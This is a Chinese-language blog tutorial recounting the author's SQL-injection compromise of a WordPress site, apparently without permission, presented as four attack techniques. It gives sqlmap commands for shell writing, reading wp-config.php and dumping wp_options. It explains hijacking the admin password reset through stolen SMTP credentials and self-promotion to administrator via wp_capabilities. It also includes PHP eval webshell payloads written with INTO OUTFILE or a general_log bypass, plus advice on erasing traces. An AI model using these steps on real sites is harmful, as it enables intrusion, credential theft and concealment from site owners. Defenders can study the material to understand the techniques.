由SQL注入(或資料庫許可權)滲透WordPress站點的一些手法
來自專欄 澱粉月刊
最近居正通過SQL注入漏洞拿了某個WordPress(簡稱WP)站點,過程可謂是一波三折。滲透筆記過一段時間計劃公開到自己的博客上。在這次滲透中,居正對由資料庫許可權進行滲透並提權到站點管理員許可權有了更多的了解,便在這篇文章中把自己的小經驗分享出來。
天下沒有不透風的牆:SQL注入的形成
這次遇到的WP站點上存在一個站長自己開發的取得某列表的功能,不過沒有採用WP插件的方式來進行開發。URL像是這樣:
https://www.example.com/somelist/get.php?id=1
稍微後面加個單引號就報錯。
假如採用了WP插件的形式實現此功能,並且遵守插件開發規範,根本不會有這麼無腦的注入漏洞。而這個功能,或者說這個程序,是在站點下面直接新建了一個目錄,在裡面放代碼。程序本身和WP一點調用關係都沒有,但卻和WP用的是同一個資料庫。
打個比方,此程序就像是一個好端端的WP大樓上的違建。違建就違建吧,還開了個天窗。我們直接跳傘就進到大樓內部了= =
下面居正就拋出自己摸索出來的「降龍十八掌」!(x)
第一招:高許可權SQLMAP寫後門
DBA(管理員)許可權是可以直接用sqlmap寫入後門的。先檢測是否為DBA許可權:
sqlmap.py -u 注入點 –is-dba
可見此站點有DBA許可權,可以直接寫後門:
sqlmap.py -u 注入點 –os-shell
但是居正到這一步發現雖然可以正確取得網站路徑,但沒寫許可權。那麼這招就不能用了。
第二招:有讀許可權SQLMAP下載wp-config.php
有時候沒有寫許可權但有讀取許可權,可以直接下載wp-config.php這個文件。它是WP用來存儲資料庫信息的文件,包括明文的賬號密碼,有了它,我們可以做這些事:
1.有phpmyadmin的話,直接通過此賬號登錄
2.利用密碼社工管理員進入儀錶盤3.利用密碼社工直接連SSH、3389等
但是有個條件,需要得知站點的絕對路徑——WP的站點很容易就可以爆出來。
命令類似這樣:
sqlmap.py -u 注入點 –file-read 「/path/to/wordpress/wp-config.php」
然而居正發現連讀許可權也沒有:
此招不行,咱們另尋門路。
第三招:wp_options表暗藏乾坤
開發過WP插件的朋友都知道,wp_options是個很重要的表,它存儲著WP程序及其插件的設置數據。
如果網站有啟用SMTP的話,則可以通過注入dump到郵件伺服器的賬戶數據,再利用WP「忘記密碼/找回密碼」這個功能發送郵件重置管理員密碼,然後在已控制的郵件伺服器裡面可以看到這封郵件。
為什麼不直接發送重置密碼郵件,然後在wp_users這個表裡面找到重置密碼key,構造URL來欺騙呢?原來現在新版的WP將這個key做了非可逆加密,無法通過讀表的方式得到原始的key:
在wp_options裡面找SMTP信息需要注意,有可能站點使用了第三方SMTP插件,然後導致站點沒使用WP自帶的SMTP,而是使用此插件。而郵箱賬戶信息後面更新過,只改了插件的設置,但WP自帶的設置裡面就沒有及時更新了。簡言之,表中會出現「真的」和「假的」兩種SMTP信息,需要去仔細辨認。
類似的命令可以dump這張表:
sqlmap.py -u 注入點 -D 當前資料庫名 -T wp_options –dump
然後sqlmap會把表數據以csv的格式存到指定的目錄,打開就可以瀏覽了。
居正在這裡面發現了相應的郵箱數據,成功登錄。接著就用發送重置密碼郵件的方式改了管理員的密碼,成功getshell。
getshell之後讀取wp-config.php的資料庫連接信息,通過phpmyadmin控制資料庫。如果沒有的話就傳一個adminer上去。
提醒一下,先前可以dump表wp_users裡面管理員賬戶加密的hash,在getshell後把密碼給他改回去,以清除滲透痕迹。
第四招:有資料庫讀寫許可權的提權辦法
這個招數用於可以得到資料庫的讀寫許可權提權的方法,如可以登錄phpmyadmin但是沒有getshell。
有兩種方法可以用:
1.註冊一個站點普通用戶,改用戶表,把自己提升為管理員。
2.利用outfile之類的SQL語句直接getshell。
下面分別介紹
第一種
先註冊一個站點用戶,在資料庫裡面找wp_users這個表,取得自己的ID和隨便哪個管理員的ID:
我的ID是72,某管理員的ID是1。
然後打開wp_usermeta這個表,通過ID找到管理員,複製他的wp_capabilities:
再通過ID找到自己的賬戶,先複製自己現在的wp_capabilities保存好,然後改成管理員的的wp_capabilities。
之後登錄儀錶盤,會發現自己已經是管理員許可權了,可以getshell。
getshell完了之後記得把自己的wp_capabilities再改回原來的那個,以清除痕迹。
第二種
第二種方法不僅僅用於WP,而適用於所有可以操作資料庫的站點。
利用需要滿足以下條件:
1.DBA許可權2.有絕對路徑3.沒有配置–secure-file-priv
在phpmyadmin執行類似命令:
select 『<?php @eval($_POST[cmd]) ?>』 into outfile 『/path/to/wordpress/shell.php』
來寫入一句話。
如果開啟了–secure-file-priv,就是禁止使用outfile,還是可以通過寫logfile的方法繞過:
SET global general_log=』ON』
SET global general_log_file=』/path/to/wordpress/shell.php』;select 『<?php @eval($_POST[cmd]) ?>』;SET global general_log=』OFF』;
詳細了解這種姿勢:https://zhuanlan.zhihu.com/p/25957366
以上就是帶給大家由SQL注入(或資料庫許可權)滲透WordPress站點的四大招,你都學會了嗎?
本文首發於澱粉月刊,作者 居正。
由SQL注入(或資料庫許可權)滲透WordPress站點的一些手法 - 澱粉月刊推薦閱讀:
※2018年4月3日推薦
※CDN新品發布:阿里雲SCDN安全加速開放公測
※飄散在空中的Wi-Fi密碼:SmartCfg無線配網方案的安全分析
※諮詢過程中,虛無縹緲的「體系」到底該怎麼理解?
※什麼是"0day"?零日漏洞介紹及防範